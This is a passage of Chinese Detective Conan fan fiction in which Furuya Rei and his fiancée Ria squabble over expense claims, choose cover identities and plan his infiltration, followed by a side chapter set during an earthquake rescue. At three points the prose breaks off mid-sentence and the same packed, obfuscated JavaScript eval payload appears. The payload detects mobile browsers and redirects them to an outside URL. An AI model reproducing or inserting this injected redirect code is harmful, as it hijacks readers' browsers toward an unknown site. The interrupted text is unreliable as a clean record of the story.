法月莉亚扬起脸,诧异地看着他。 “嘛……也不能只赚面包吧。” 他若无其事地回答道。 18.拜托报销 一直热衷于跟她唱反调的丈夫终于说了一些体贴入微的话,真是让人感动。 大小姐从门口货架上抓了两本时尚杂志,快速翻阅了几下,最终把其中一本扔给降谷零,“参考这本就好啦。” 降谷零随手翻了翻那本杂志,“所以要我买哪套搭配?” 莉亚觉得这个问法非常奇怪:“哪套?我现在只有一件吊带可以穿诶。小物和包就算了,服饰的话,直接把这一整本里面的都买下来比较好吧。” 降谷零翻动杂志的手停了下来。他留出了充分的沉默,以便衡量对方是不是认真的。 但寂寥的夜空只传来遥遥的犬吠,并没有大小姐噙满笑意的清脆吐槽,比如“我跟你说笑呢干嘛这么一脸认真”,之类的。 被注视着的女主播显然有点困惑:“怎么了吗?” “你确认是需要一整本吗?”他合上杂志,把有半个硬币厚的书脊往莉亚面前送了送,暗示她重新衡量一下。 “啊,没错啊,所以我拿给你参考的是《Can Cam》,都是面向年轻二十代女性的大众品牌。”她指了指被放回书架的另一本杂志,“这本的搭配均价就要高很多了,还有很多需要预订的限量品。” 降谷零明显叹了口气。 她终于意识到对方并不是在跟她讨论代官山的哪个时尚品牌从来不卖现货,“我可是女主播诶,需要很多衣服来搭配不是很正常吗?” “是,是。女主播需要有超大衣柜很正常,我也不是没见过。”他把那本杂志放了回去,还顺势取走了旁边的广告宣传单,“可你现在不是女主播了,记得吗——非要说的话,你现在的职务是我的协助人。” 说着,降谷零把那张宣传单放进莉亚的手里,“我能给协助人付得起的酬劳大概只能让他们多看看这上面的单品。忘了时尚杂志吧。” 法月莉亚顿住脚步。 午夜街头的路灯下,英俊的金发男人体贴地提着他们刚刚采购的东西,还特意走在能为她挡风的外侧。他用紫灰色的下垂眼深深地凝视她,还像情人一样低声细语。 一切都像九点档的纯爱电视剧那么唯美。 ……前提条件是,观众得能忽视他那不入流的台词。 “经费不足了多看看优衣库吧”,足以把黄金档纯爱剧潇洒男主角变成了需要打三四份工才能勉强养家的可怜村村长。 她忍不住吐槽:“世界上怎么会有这种连服装补贴都发不下来的工作啊?” 降谷零把购物袋放在地上,掏出钥匙开门,直到两个人都进入家中才开口回敬:“因为经费用的是国民税金啊小姐——顺便一说,签字决定工资单的可是你父亲,下次请把涨薪水的诉求传递一下,拜托了。” 莉亚沉默不语。 诡异的感觉增加了……卧底公安好像发出了新卒社畜的叫声。有一种警察在追捕罪犯时突然停下来说不行啊现在汽油涨价了我们就追三公里再多领导就不批经费了的奇妙既视感。 可以嘲笑的地方太多了,她甚至不知道应该从哪开始,最终只好说:“不用国民税金,我自己付账单,反正那点可怜的经费也……” 她突然卡住了。 “那真是太好了,我也……你怎么了?”正在整理买回来的物资的降谷零对她的怔忪后知后觉,关上柜门后才看到莉亚失魂落魄的形容。 他走过来,张开手,贴在她脸前晃了晃。 莉亚被惊醒了一样跳起来,抓起手机快速滑动页面,刚修饰过的优美指甲在屏幕上用力敲动,发出的咔嗒咔嗒声响简直像在弹钢琴。 几分钟后,她少见地毫不顾及形象瘫倒在沙发上,还恼火地揉乱了自己的长发。 降谷零叼着吸管在餐椅上坐下,好奇地盯着莉亚,没有继续回嘴逗她。 好久,莉亚才冷静下来,一边拨顺头发,一边问:“……所以协助人有多少薪水?” 他完全没想到会听到这个问题,差点被果汁呛到:“什么?怎么突然问这个?按需求支付的,反正不会很多就是了。” 她不作声,直接把手机扔给降谷零。 降谷零一抬手,精准地捉住这直奔他鼻梁而来的暗器,拉动了几下屏幕,几乎要笑出声了。 手机屏幕上登录了好几个不同银行的软件,既有现金账户,也有信用卡账户,总之每一个的所有人栏目里都写着“法月莉亚”,并且对应着颇为惊人的数字。 但可惜的是,这些数字现在都挂着灰色,旁边注明了“已冻结”或者“已挂失”。 他在心里算了算可以利用的残额,快速得出了结论:除非这家伙随身携带了大额支票或者现金,否则绝对已经破产了。 “不知道你当时为什么离家出走还能住得起高级公寓和度假酒店,”降谷零拎着手机冲法月莉亚晃了晃,“但是就目前的状况,看起来能住上米花町的公寓已经是非常走运了。通常来说,这个财政状况的人,只能拎着纸箱住到河边的桥洞下,或者每天努力打工赚在网咖过夜的钱。” 这句话越说越长,女主播的脸色也越来越差。 他刻意地轻轻咳了咳,防止自己真的没忍住笑出来。 法月莉亚不想被他看扁,于是解释说:“因为我上次是计划内的离家出走,所以提前准备好了大量现金,还借用别人名义开了账户啊……这次完全是意外吧。难道你结婚的时候会随身带着几亿日元吗?” 不提她还忘了,这家伙结婚的时候带着警报通讯器,还在礼服下面佩了枪。 哈,兴许就是因为新郎带了奇怪的东西才被拖进这个莫名其妙的处境的,真是让人越想越生气。 要是她身上也带了枪,好像也不错,比如现在就可以测试一下把他打成筛子会发生什么。 她危险地眯起眼睛。 二十四岁的降谷零还在状况外,完全不知道对方想起来了什么场景,但是敏锐地察觉到了大小姐不快的情绪。她提到了“结婚的时候”,搞不好又是什么他所不知道的夫妇喧哗……中年危机来得太快太突然了。 信息差使大小姐永远立于不败之地,于是他选择把话题转移开:“使用别人名义的账户,可能会构成金融诈骗哦……既然已经这样了,还是想办法解决比较好吧。” “有什么办法嘛,难道真的要去打工?”大小姐终于重新理顺了发型,靠在沙发上长吁短叹,“我是听人说过有的女士结婚之后很可怜,要住在狭小的出租屋里,还得辛苦地打工才能维持生计,没想到这一天真的会来……” 她哀怨地瞪了降谷零一眼。完全搞不懂怎么会变成这样,她明明很慎重地考虑到了这种情况,才不情不愿地决定接受老头子那该死的相亲提议。 但他可没说过嫁给公安也会变成这样子……而且打工的时候还要分出精力来面对黑恶势力,更糟糕了。 公安在沙发扶手旁蹲下,靠近莉亚的脸,试图给新人下属振作士气:“你苦情电视剧看太多了,醒醒。现实怎么会这么凄惨?虽然没有法月长官的支持,但也不至于过上这么凄惨的日子吧。你之前不是很优秀的电视主播,一直有非常努力地在赚薪水吗?” 效果很差, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017307|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方完全没有能振作精神。他想了想,补了一句温情的话:“所以一定没问题的。而且我又不会真的把你赶出去住纸壳箱。” 他说得毫不心虚,甚至有点理直气壮:毕竟还要完成监视任务的嘛。 “哈哈。”大小姐干笑了两声,“你在说什么啊?主播如果想出彩的话,一定要做很时髦的搭配,所以服装费其实都是自己付的。电视台报销的那一点钱就根本没有办法覆盖掉,我当然是刷他的卡来购置的,日卖台的那点薪水才不够用。” 常年只能穿制服的警校毕业生完全不理解:“诶?怎么还有这种事?难道不是应该电视台来给你们准备服装吗?” “他们提供的都是被挑剩下的旧款衣服啦,有的时候尺码也不是很合适。如果打扮很土气的话,就会被制片人骂没有对收视率负责,渐渐地会被发配到午夜档出演一些很不体面的节目了。”她试图进行解释,“所以虽然这么说很不好意思,但这就是事实——我之前都是靠家里的资金支持才能生活下来。” 他站直身体,居高临下地看着莉亚:“这么一听,还真是大小姐做派呢。” “那也没办法,这是我被管头管脚之后应得的精神损失费——对了!”莉亚突然坐直身体,想起来了重要的事情,不由得眼睛闪闪发光,“国家公务员的经费很紧张,但是你可是在为犯罪组织做事诶?听说那些极道的收入都非常高,是真的吗?” “可能是吧。”他想了想贝尔摩德和琴酒的做派,点了点头。 莉亚忍不住搓了搓手,好像对生活重新充满了期望,“公安委员长的女儿这么说可能有点过分,但我现在诚实的想法就是,他们犯罪组织也有在蓬勃发展诶,这可真是太好了。” “答错了,我现在还没拿到正式代号,也就没有办法从他们那里领到什么薪水。”他站直身体,居高临下地看着莉亚,“而且他们要是没有这么蓬勃发展,我就不需要做这个卧底工作,你之前也就不会被——” 降谷零比了个烟花炸开的手势,提醒她那场被时间洪流淹没的惨案曾经真切存在过。 肉眼可见,法月莉亚整个人又灰暗了,看起来确实有点可怜,仿佛只喝巴黎水的养尊处优的品种猫突然流落街头,口干舌燥的时候面前只有一滩脏兮兮的雨水,在内心的挣扎中发出了喵喵哀嚎,连耳朵都塌下来了。 他忍不住伸手捏了捏她的脸颊,“好了,那么现在想点合法的办法来解决生活费的缺口吧。” 她一脸迷惑地抬起头,甚至忘了去打掉他作恶的手。 降谷零若无其事地收回手,从口袋里拿出刚刚买东西时得到的小票:“嘛,其实我本来不想这么干的,毕竟这些都是我自己无论如何都要用的日常消耗品,用国民税金支付好像太过分了,但现在是特殊情况嘛。” 他漫不经心地指了指抽屉,“……而且为了防止信息泄露,其实我还留存了一些之前的。” 认真上过班的女主播听懂了。 突然陷入贫穷的女主播嗖地一下站了起来。 “这些东西,你们其实都能给报销是吧?”她挽起袖子,防止宽大的浴袍阻碍她的事业进展,“费用精算表在哪里?报销指导手册在哪里?这些票据要怎么贴?” 降谷零终于没忍住,还是笑出了声。 法月莉亚斜睨过来,轻轻踢了踢他的小腿:“今天晚上要是整理不好,你就不要睡觉了。不要不相信,我之前可是一直都做夜间档节目,熬夜是我的强项。” 他不由得抿紧嘴角。 糟糕,突然有点笑不出来了。 19.再次就业 好在法月莉亚也不是什么偏执狂,只是暂时地被贫穷的恐惧捏住了喉咙。 她大致看了看这个比时尚杂志还厚的报销手册,对警察厅的繁琐手续有了初步认识之后,又检查了一下票据上的金额,发现数额颇大,完全不是几天之内就能走完报销流程的。 在降谷零反复暗示他也并不是真的那么拮据、买几件好衣服也完全没问题只是不能整本采购之下,她终于放弃了连夜完成报销任务的打算。 正在努力把购物发票上关键的地点信息全都抹掉然后分门别类整齐糊成一排的降谷零长出了一口气,快速地收拢胶水和费用精算表,一股脑塞进了隐秘夹层里的保险箱,“那么,还是早点休息吧,这一天真是太漫长了,明天还要——” 他突然顿住了。 被迟到的晚饭打了岔,完全忘记了之前对于手上纷乱线索的讨论和纠结。 莉亚也反应了过来,“对啊,明天开始,我应该做些什么呢?” 她对于做女主播和大小姐都有着充足的经验,然而无论是公安的妻子还是卧底的协助人,连概念都是空白一片。就连《007》系列的电影不也是么,没有什么对于男主角妻子工作内容的刻画,只要保持美丽就可以了。 日本公安沉思良久,渐渐地梳理出了头绪:“首要任务是继续卧底工作,那么我这边必须要优先被分下来的任务。疗养院的案子我们都不确定是不是真的重要,那么往后放放,可以在关键人物死亡的日期前后去调查。至于为什么会发生超越科学的现象,这不是简单就能理解的,一定有什么关键因素是我们还没有发现的——” 锐利的眼神划过莉亚绷紧的脸,“我想你也意识到了,死亡威胁大概还会降临在你身上。也许只有多次重复这种情况,才能理解这一切的成因。” 她漫不经心地应了一声,“也就是说,我最好再多死几次?这实在有点微妙啊。” 虽然事发当时的恐惧几乎让她陷入绝望,但并没有实质伤害的死亡反而成了一种脱敏训练。事后想来,那种急剧增长的肾上腺素反而让她隐隐感到兴奋,或许也不是不行,反正…… “恰恰相反。”她微微出神,被降谷零捕捉到了。他提高了声音,正色道:“这就是我要提醒你的。绝对——绝对不可以因为这种保险而掉以轻心,任何时候都要以自己的人身安全为先,明白吗?” “诶?为什么?”被害人反而不理解这种慎重,“可以毫无顾忌地尝试更多解决坏人的方式,失败了重来就可以了,不是吗?” “完、全、不、对。”紫灰色的眼睛凑得很近,严肃地瞪着她,像被火焰灼烧过的水晶,“你怎么知道这个循环的上限是多少呢?到底是会无限发生,还是会在某个时间点上突然停止?会有什么不好的后果吗,比如被贝尔摩德留意到这一切?” 他似乎真的生气了,嘴角深深地垮了下去,还伸手捏住她的肩膀,“……而且如果真的就此死掉了又该怎么办?你认真想过结果吗?” 莉亚有一个瞬间几乎被吓到了,但立刻又冷静下来,“我知道了。” 降谷零松开了手,似乎对她的态度感到满意。因此她甚至有闲情开个玩笑:“而且就算发生了,其实也不会怎样。” 难道地球会停止转动吗?日卖台还会有大把大把的女主播,会在一分钟之内热切地顶替掉她的位置。 没有突然穿越时空的上司女儿需要顾忌的降谷零会像之前那样顺利地完成卧底任务,成为保护国民的英雄,不用把一份踩点工作反复做好几次。 那个老头子大概可以直接在满意的手下里收养子。不需要考虑叛逆女儿的心意之后,他一定会拥有非常丝滑的进度条。 她觉得这个笑话特别好笑,想要补上结语。 但唯一的听众面色沉重,似乎又开始生气了。 “我会介意。”他觉得这个力度不够,又重复了一次,好像是咬着牙在说,“我会非常介意。没有人应该这么莫名其妙地死去。” 法月莉亚脸上终于流露出真实的畏惧,甚至微微向后靠了靠。 糟糕,似乎有点做过头了……他抓了抓头发,勉强放缓了口气:“我领的薪水可是保护全体国民的啊,怎么能允许有人在我面前死去呢?即便知道不是真正的死亡也很让我挫败,何况你又不是自愿承担这一切的公安。” 她沉默地点点头,犹豫了一下才说:“但是……” “但是?”降谷零眯起眼睛,危险地追问。 他不允许下属在原则性问题上有个人意见,更别提这个下属还同时兼职他最高上司的女儿以及未来的妻子。 但莉亚还是问了:“你盘点的时候,好像把我父亲的案子忘了。记得吗,他也被——” 她学着他,也比了一个烟花飞上天炸开的手势。 降谷零陷入了可疑的沉默。 在发出了“要保护全体国民”的豪言壮语之后,直接对上司的女儿说他完全没有把上司被暗杀的事情放在心上,是不是各种意义上都不太好? “哈哈,我想警卫队在这个问题上比我更有经验……” 在他绞尽脑汁地找到完美的答案前,上司的女儿已经意识到了什么,意味深长地看了他一眼,“我理解,反正原来他也顺利活到了六年后,应该没什么大问题。而且有的时候难免不会觉得,他要是突然被炸死可能也挺好的,不是吗?” 降谷零干巴巴地笑了一声,“其实我不是这个意思……” “好了,我去洗澡。”她干脆利落地站起身。走到淋浴室门口的时候,她又回头望过去,问降谷零:“但你不会让他真的被炸死,对吧?” 正在收拾垃圾的对方立刻停下动作,庄重回答:“我保证。” 莉亚心满意足地关上了浴室的门。 空着手入住没有家政妇和客房服务的住所,结果是显而易见的尴尬。带来的浴袍勉强还可以使用,睡衣就只能借用降谷零的新T恤衫了。好在足够长,可以当一个短款的睡袍来穿。 “我洗好了,可以关灯了。” 降谷零走出浴室,看到莉亚坐在床上,一边擦头发,一边在笔记本上写写画画。 他有点好奇地凑上去:“在写什么?” “目前为止的关键事件和节点,我得先捋顺了才能搞清楚。”莉亚说着在杯户疗养院上画了个圈,一边悄悄努力往下扯了扯衣摆,“你觉得我可以自己去调查这里吗?现在我没有以女主播的身份到访过,那么只要用化名说要休养,就可以很安全地调查到他们的内情。” “不行。”他一口否决,“你没有相关的经验。如果他们真的是和组织有勾连,那简直是自己送上门去。即便是使用化名,她们在信息库里一比对照片就能认出来你是谁了,这不是什么难事。” 莉亚停住笔,狐疑地指了指他的脸,“你这样子难道很难认?日本现在已经是多种族的国家了?他们要是必须要信息库才能调查出来的话,我才很惊奇。” “因为警察厅给我做了全套的假身份——对了,你一定要记住,以后要用‘安室透’这个名字称呼我。我公开身份是在夜场里做兼职的。” “哦,所以你才打扮的像个酒保。”莉亚点了点头。以防万一,她把手机里的备注也修改了,“那么我是不是也应该有个假名?” 降谷零随意地一抬手,“没问题,他们大约也不会查到你。慎重起见,我给你做个假身份。你要叫什么名字?” 她用手机拄着下巴,认真想了一下,“星野,我妈妈就姓星野。那么名字叫什么好呢……” “都可以吧。”他打了个呵欠,“只要是你能马上反应过来的就可以。” “那就叫怜子好了!”得到了答案,莉亚快活地一合掌,“我肯定能反应过来——你又怎么了嘛?” 降谷零的呵欠僵在半空。她几乎听见了他的下颌骨发出咔嗒一声响。 紫灰色的眼睛随即投来死亡凝视,“……你不觉得这个名字(れいこ)和我的本名(れい)太像了吗?” “所以我才能很快地反应过来啊。你也知道,我可不是什么受过训练的间谍。”她用对方说过的话来堵他的嘴,“而且你不觉得这样反而很逼真吗?谁会想到你竟然把本名和给要掩护的女性用呢?如果有人在哪里发现了你的真名,也可以借口是我留下的印迹,很合理。” 这当然是她信口回击的理由。但降谷零摸了摸下巴,竟然真的沉思了一会儿:“好吧,也不是完全没有道理。那么就这么决定了,怜、子、小、姐。” 他故意把每个音节都拖得特别长,显得特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027154|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别亲昵轻佻。莉亚下意识地打了个寒战,直接伸手按灭了台灯,直接把被子拉过头顶,生硬地说:“晚安,安室先生。” 直到第二天醒来,她发现降谷零悄无声息地从房间里消失时,她才意识到了问题所在: 这家伙绝对是故意把话题岔过去,好让她忘记自己原本的质问——既然不可以去调查那间有问题的疗养院,那么她又可以做些什么呢? 听起来就让人心潮澎湃的卧底生涯比她想象中无趣得多。没有接受完整的训练,她就不可以独自外出行动,甚至因为不知道怎么设置那些装备,而不能随便打开房门,即便是为了取信件包裹。 重新回到卧底岗位上的降谷零神出鬼没。一条消息发过去,几个小时都会保持着未读的状态。但等她抗议说已经没有充足的食物、即将变成干尸时,就会突然有一个戴黑框眼镜的刺猬头青年神秘地出现在家门前,一言不发地给她递过来一只装满了必要物资的快递箱,再顺路取走垃圾。 这太不对了。 她那每天被几十个家政妇、秘书和警卫盯着的少女时光已经很恐怖了,形同坐牢。但眼下这个情况…… 完全失去了人身自由,简直堪称绑架。 非常不对,绝不应该是这样。 在重返卧底岗位的第二天晚上,降谷零熬了一个通宵。终于在凌晨四点钟,他得到了休整的机会,疲惫地回到了自己的公寓中,准备短睡一会儿。 刚打开门,他就察觉到了异样:客厅里有一个细微的呼吸声。 有人进来了。 他谨慎地摸出佩枪,并不开灯,猫着腰贴着墙边无声前行。等到距离被拉得足够近的时候,他猛地扑了过去,精准地拧住对方的手腕,用枪口顶住太阳穴,“什么人!” 意料之外,对方毫无挣扎反抗的动作,只是趴在餐桌上发出一声惊叫:“啊——” ……完蛋了。 声音好像有点过于熟悉。 一瞬间他很希望潜入的其实是贝尔摩德,或者其他谁都行。即便是琴酒都不会这么麻烦。 手机的灯光很快被点亮了,映照出一张熟悉的脸。那双茶色的眼睛睁得圆圆的,正在凌厉地瞪他:“降谷零,你要干什么?你有毛病啊!” 他松开手,退后两步,垂头看着揉手腕的法月莉亚,“……这么晚了,你怎么还不睡?我以为是有人潜进来了,在埋伏我。” “倒也没有错。”她活动几下手腕,庆幸地发现还能正常使用,顺势抱在胸前,“因为我就在埋伏你。降谷零,我要跟你谈谈,你不能一面说我是你的协助人,一面把我从所有的活动里都排除掉吧?这么个协助法,就是老虎也要被关出来刻板行为了。” 他沉默了一会儿,“抱歉,我不是刻意的。但你没有经验,我不能贸然让危险波及你。” “问题是它已经波及我了,你还记得吗?”莉亚据理力争,“我可以做一些简单的工作,至少可以查查资料什么的吧?我甚至不知道你在做什么,也不知道我自己在做什么——你至少应该告诉我要这样待机到什么时候。” 降谷零露出了非常犹豫的神色,目光紧紧盯着地板上的一个斑点,似乎那里有什么答案。 很久之后,就连莉亚都已经要放弃这段对话时,他忽然开口了:“我现在调查的组织,就是克里丝.温亚德所在犯罪团体。贝尔摩德是她在那里的代号,而我接到的任务就是要加入这个组织。我已经做了一些工作了,而她是评估我能否完成最后的任务,获得正式成员的代号。这就是我为什么会出现在那间套房里,也是我最近在忙于调查的事情。” “……所以她要你去做什么?” 其实不应该回答她,他已经透露太多细节了,多到如果有一台录音机在场,那么公安这两年来埋下的整个线上的人都会被轻松地剿灭——就连景光都不知道全部的内容。 头脑里的理智和独行尖叫着让他缄默。但一种隐秘的、招揽同谋者的冲动也令他没有办法拒绝回答。最终他听到自己的声音不受控制地在说:“我需要从一个秘密俱乐部里偷到她指定的情报,但我这几天接近他们的尝试都不太成功。” 出乎意料,法月莉亚突兀地笑了。 “这不是显而易见的么?——为什么不来问问我呢?” 20.前因-Side A[番外] 门被笃笃地扣响了。 黑田兵卫从文件堆里抬起头,正了正坐姿,这才扬声回应:“请进。” 一个金发的青年走了进来,对他颔首问候:“课长,您找我有什么事?” “降谷,你很快就要和我同级了,不要这么客气。”黑田兵卫冲着座椅比了个手势,“你先坐,我有话对你说。” “那么,我失礼了。” 刚一落座,降谷零就遭到了诘问:“你充分明白现在的状况吗,降谷?” “您说乌丸组织的那个案子?”他试探着回答,“报告书已经交上去了,有几个干部还在逃,但我想……” “不,不是这个。”黑田兵卫不耐烦地挥挥手,“我是说你自己的情况。” “诶?”他觉得有点诧异,“关于升职的讨论么?这对我来说其实不是什么重要的事情,能得到警视的头衔已经是破格提升了,这我很清楚。接手理事官事务也不是什么难事,毕竟是……” “你还是没有搞清楚啊。”黑田重重地叹了口气,“你的警视正大概能批下来,那么之后要怎么办呢?警察厅不是没有派出过卧底警察,但是像你这样的成绩,绝对是前所未有。” 他突然往转椅的靠背上深深倚了倚,意味深长地说:“但我不是把你叫过来夸赞的。恰恰相反,降谷,你知道——绝大多数的卧底都没有好下场么?” 降谷零紧绷着脸,但声音听起来同样温和有礼,“大概是因为他们都死了,不像我这样幸运。” “不,不,我说的是回来的那些。你过去的几年里从来没有站过队,不属于任何一个小团体,甚至绝大多数人都不知道你的存在——这样神隐的同事突然出现,获得了频繁提拔,甚至还要成为高层管理者。降谷,你猜他们会怎么对待你?” 真奇怪,黑田兵卫很少这样绕着弯子说话。降谷零静静地看了他一会儿,选择单刀直入:“您有什么指示,就请直接说吧。我大概理解您的顾虑了。” 对方突然有些不自在地清了清喉咙,推过来一份文件,“我希望你好好看看这个。你也到了该考虑这件事的年纪了。” 好奇怪的措辞。是要他彻底转文职吗?还是签署什么保密契约或者退职协议? 降谷零翻开了那封文件夹。 但眼前的资料和他的预想截然不同。电光火石之间,他意识到了这是怎么一回事,发出了一声短促的惊叹。 黑田兵卫尴尬到有些不知道该把手放到哪里,只好撑着桌面,干巴巴地解释:“你大概没意识到,现在面对的危险和声望一样大。我不希望你这样能干的家伙陷入办公室斗争,因此听到上面询问有没有可靠的未婚青年时,把你推荐了上去。对方条件确实很好,毕竟是……” “《Bristo》的主持人。” 降谷零忽然这么说。 “什么?”黑田兵卫愣了半天,“哦,对,她好像确实是电视台主播。但我说的不是这个——” 他伸出手,在那封简历上大力点了点。 “看到了吗,她姓法月。小子,我知道你一向都是拒绝这种相亲,但这次可是那位先生的独生女,能完美解决你所有的困扰。说实话,”他突然凌厉地打量了一下降谷零,“跟人家比,你还真差点资格,别太……” 降谷零一直不说话。 黑田兵卫已经意识到了这又是一次失败的引荐。这家伙总不能真的把办公室当成家了吧? 他有点懊恼,怀疑自己是不是从前对老部下太过苛刻了,把人家变成了满脑子都是加班的机器。 “……那么,时间和地点呢?” 金发青年突然出声了。 “你可别太矫情——什么?” 他有点不敢相信自己的听力。 对方的眼睛里已经充满无奈了,但还是彬彬有礼地回答:“不是要介绍我和她认识吗?我以为会有一个晚餐之类的活动。” “啊,是的。我看看……对了,在这里。” 黑田兵卫连忙把纸条递了过去。 真奇怪,降谷怎么这么好说话?是姓氏还是美貌打动了那个固执的家伙?他是这么肤浅的人么?怎么看都很可疑啊…… 他看着走出办公室的降谷,狐疑地想。 降谷零关上了黑田兵卫的办公室大门,却不急着离开,反而打开了手上的文件夹。 照片上那张温雅的笑脸又一次跃入了视线。 ——他记得这张脸。 为了潜入任务而向景光学习料理知识,他从友人那里借来了对方推荐的美食节目的录影带。菜谱和味道都已经在记忆里模糊了,但他还颇为清晰地记着那个富有感染力的笑容。 友人亡故后,他代替真正是节目粉丝的诸伏景光录下了所有的节目内容。 录影带攒了书架上满满的一排。每期都有不同的嘉宾和厨师,几年下来,更迭得很快。有的是诸伏这样的忠实观众大概都完全没听说过的名字。 但主持人的名字和笑容一如往昔,从未动摇。 她会用很多奇妙而有趣的修辞来形容味道,很难不令人印象深刻。充满元气的结语只是普通的“这真是太好吃了”,但听起来也那么有说服力,好像吃到了食物真的会感到非常的幸福, 当降谷零刚开始学习料理时,景光也曾这样评价他所做的料理。 ……不知道日卖台准备的菜品到底有多好,反正他当时做的其实不怎么好吃。 成为料理达人之后,想要再复刻那个被笑眯眯的友人骗着吃下去之后连作为厨师的自己都忍不住要皱眉的味道,反而是做不到了。 他把所有的录像带都反复听过一遍又一遍。闭上眼感觉好像友人还在厨房里忙碌,等下就会把和节目里一模一样的菜品端过来。而他只是懒洋洋地在沙发上偷懒,故作深沉地晃动酒杯里的冰块,自在得仿佛什么都没有失去过。 失去的可能永远都不会再回来,但能令他想到旧日时光的存在,还是无论如何都有点在意。 真想亲自想见一次她,好好传达当时享受节目的感谢心情。 ……好像哪里有漏洞。 对了,仔细想想,他其实曾经见过法月莉亚一次。 * 一个月前,北海道。 降谷零坐在酒店的保卫室里,紧紧盯着面前闪烁的十几盏屏幕。 “降谷长官,一号出口没有看到目标人物的踪迹,请您指示。” “继续观察。”他把其中一个监控的画面调大,皱着眉对耳机说,“目标对象可以自由变装,不要只关注长相,任何有可疑行动的人员都汇报给我确认。” 他从曾经的组织成员那里得到了贝尔摩德逃离路线上有这家酒店作为落脚点的信息,立刻带着下属们出现在这里,并联合北海道警方进行搜捕活动。 其他重要干部都已经落网,这是最后一块拼图了,绝不能出任何差错。上次就让她逃了—— 想到这里,降谷零忍不住恼怒地锤了锤桌面,发出“咚”的一声闷响。 桌子也随之轻颤了一下。 他发泄过情绪,就迅速把视线转回到屏幕上。 诶,等等? 桌面传来的震动没有停止,竟然越来越大。 所有的显示屏都开始摇晃抖动起来。接着是墙体、是门框、是天花板—— 他刷地站起身,惊疑地扶着桌面,“什么情况!是有爆//炸发生吗?在几层?机动队——” “长官,应该是地震……” 手机发出嗡鸣,淹没了耳机里属下的回答。降谷零半蹲在桌边,做出灾难防御的动作,但仍旧死死盯住屏幕。 然而这场震颤比他预想的还要漫长。耳机里请求他撤离的呼唤声不断传来,降谷零恼火地下达命令:“各自躲避,以保护人身安全为第一原则。” 震动一停止,他就打开门冲了出去。 即便是贝尔摩德,这个时候也不会还一味躲在房间里吧?或许这就是天赐的机会,可以加以利用。 但一进入走廊,他的计划被彻底改变了:地震带来的伤害远超过他的想象,电力几乎全部中断供应,应急灯细弱的光线照出了墙壁上蔓延着的细碎裂纹,令人触目惊心。 监控室的防护门是特制的,打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038537|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有什么难度,但一些普通客房的房门结构严重变形,门后传来了沉闷的拍打和求助呼喊声。 一瞬间,这栋酒店的住客全都从“可能是目标对象的嫌疑人”变成了绝望的受灾者。 降谷零咬牙切齿,对着衣领上的麦克风说:“放弃作战计划,优先救灾。” 说着,他抬脚踹开了最近的房门。 这场北海道有史以来烈度最大的地震里,距离震中最近且人口稀少的室兰市得到了意料之外的迅速支援。他们不知道的是,这一切居然要感激一个逃亡中的犯罪分子——托贝尔摩德的福,降谷零部署的周密警力变成了人手充足的临时赈灾分队。 ……也许以后从一线退役后,也可以去厚生省任职呢。无意中积累了奇怪的经验。 他在暴力打开了半条走廊的客房房门时苦笑着想。 “这层还有哪间房间有人滞留吗?”他问刚刚逃离生天的受灾者。 一位惊魂未定的服务员努力想了想,“最那边还有几个套房,今天有人入住,不知道里面有没有人。” 降谷零朝着那个方向刚走出两步,就听到一声剧烈的爆响。遥远的走廊尽头的落地玻璃窗突然爆裂,炸散了一地的碎片。 “余震!各自躲避!” 有人突然大喊了一声,十几个人立刻靠在墙边抱头蹲下,防止被震动波及。 十几秒过去了,墙壁还保持着原来的安静,给恐慌的人们以庇护。 ——不对,既然不是余震,那就是人为制造的。难道是贝尔摩德? 在一声声明显松了一口气的叹息中,降谷零摸向腰间的枪,缓缓靠了过去。 突然,一个人影从玻璃窗的破洞里跳了进来,就地一滚,摔倒在满地碎片中。 长发,窄腰。即便远远看去,那也明显是个青年女人。 他拔出枪,咔嗒上了膛,喝问道:“什么人!” 那个女人完全没意识到被问话的是自己,只是站起身,打开了旁边消防栓的罩子。 然后从里面……掏出了消防斧? 降谷零放低了枪口。 ……贝尔摩德还不至于需要临时拾取冷兵器和他一对一决战吧? 他眯起眼睛,决定仔细看看接下来的发展。 果然,那个女人并没有举着消防斧冲过来,反而用力向身旁的房门砍去,“喂,绘里,闪开一点!” 她的姿势很奇怪,几下都没有劈开,显然没有什么力量训练的痕迹。大概是被困了一会儿没有得到救援,就在阳台上用椅子砸开临近的走廊落地窗,选择跳出来自救了吧。 ……这可是四楼,外面没有任何防护,真够乱来的。 他收起枪,皱着眉走了过去。 “小心了,小姐。交给我吧。” 降谷零抬手制止住她,接过斧头,一下就砸开了门。 门后很快跑出来一位女士,和这位小姐抱在一起,“莉亚,你太厉害了——啊!你的脸!” 